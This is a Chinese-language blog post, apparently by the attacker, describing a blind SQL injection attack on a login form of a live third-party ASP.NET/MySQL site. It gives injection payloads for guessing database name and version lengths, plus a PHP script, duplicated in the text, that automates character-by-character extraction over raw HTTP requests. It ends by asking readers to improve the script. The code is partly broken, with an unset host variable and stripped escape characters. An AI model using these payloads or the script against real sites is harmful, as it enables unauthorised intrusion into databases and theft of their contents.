asp.net+mysql后台盲注入

分类:安全 | 2011-08-22 | 撸过 70 次
0人扯谈

后台的登录注入点,不过悲剧的是无回显只能盲注。更悲剧的是mysql数据库是5一下的版本!
不过还好站点是asp.net程序的使程序报错后能显示一些信息。
正文开始吧。
目标站点找了一圈没发现入口点,旁站没几个,不过幸运的是发现了个登录框的注入点!(应为这个旁站只有一个登录入口!)
刚开是在用户名那里输入了 admin’– 报错了
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ‘)’ at line 1
一看对输入没有过滤是存在注入!那么好办了。
首先先看看能不能直接绕过去。输入admin’ and ‘x’=’x 密码随便 程序没有报错 不过提示的是密码错误。
看来他的sql语句是先判断用户名再判断密码的!
接下来准备看看密码是否可以绕过。
返回的结果一样好吧我承认我2B了 程序肯定是把传递过来的参数MD5加密过的!!
盲注吧没任何显示的!!
先判断了下有长度是多少。
这里拿 查看当前库的语句来演示。
https://www.webshell.cc/path/index.aspx?UserName=admin’ and Length((database()))=9 and ‘x’=’x
经过判断长度等于9
我承认这样子很麻烦不过sql注入神器没有回显的!所以被逼无奈的我自己写了一个自动注入的脚本!
不过目标站点的是UTF-8 我cmd下面显示不了UTF-8 所以我用php函数转换了下编码把关键字定位了
不过程序不能自己去对比关键字。(可能php水平还没到位)
所以只能自己去判断了!

注入代码我发上来吧!

<?php
///* //9
for($i=1; $i<=9; $i++){// 猜内容
$a=1;
while($a<=120){
$sa=sList($i,$a++);
$sa =iconv(“UTF-8”, “GB2312//IGNORE”,$sa);
echo ($i).$sa.” —-“.($a-1).”n”;
}
}
//*/

/*
$a=0;
while ($a<50){//猜长度
$sa=sky($a++);
$sa =iconv(“UTF-8”, “GB2312//IGNORE”,$sa);
echo $sa.” —-“.($a-1).”n”;
}
*/
function sList($ke,$value)
{
$tmp = array();
$data = ”;
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,”GET /path/index.aspx?UserName=admin’%20and%20ascii(substring((version()),$ke,1))=”.$value.”%20and%20’x’=’x HTTP/1.1rnHost:$hostrnConnection: Closernrn”);
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all(“@<font color=”Red”>(.*?)</font>@is”,$data,$tmp);
return $tmp[1][0];
}
function sky($value){ //猜长度
$tmp = array();
$data = ”;
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,”GET /path/index.aspx?UserName=admin’%20and%20Length((version()))=$value%20and%20’x’=’x HTTP/1.1rnHost:$hostrnConnection: Closernrn”);
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all(“@<font color=”Red”>(.*?)</font>@is”,$data,$tmp);
return $tmp[1][0];
}
?>
<?php
///* //9
for($i=1; $i<=9; $i++){// 猜内容
$a=1;
while($a<=120){
$sa=sList($i,$a++);
$sa =iconv(“UTF-8”, “GB2312//IGNORE”,$sa);
echo ($i).$sa.” —-“.($a-1).”n”;
}
}
//*/

/*
$a=0;
while ($a<50){//猜长度
$sa=sky($a++);
$sa =iconv(“UTF-8”, “GB2312//IGNORE”,$sa);
echo $sa.” —-“.($a-1).”n”;
}
*/
function sList($ke,$value)
{
$tmp = array();
$data = ”;
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,”GET /path/index.aspx?UserName=admin’%20and%20ascii(substring((version()),$ke,1))=”.$value.”%20and%20’x’=’x HTTP/1.1rnHost:$hostrnConnection: Closernrn”);
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all(“@<font color=”Red”>(.*?)</font>@is”,$data,$tmp);
return $tmp[1][0];
}
function sky($value){ //猜长度
$tmp = array();
$data = ”;
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,”GET /path/index.aspx?UserName=admin’%20and%20Length((version()))=$value%20and%20’x’=’x HTTP/1.1rnHost:$hostrnConnection: Closernrn”);
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all(“@<font color=”Red”>(.*?)</font>@is”,$data,$tmp);
return $tmp[1][0];
}
?>

" width=
希望有人能帮忙完善下这段代码!!
最后感谢那条死鱼的打击以及Ay暗影的帮忙!!

本站内容均为原创,转载请务必保留署名与链接!
asp.net+mysql后台盲注入:https://www.webshell.cc/758.html
标签:

相关日志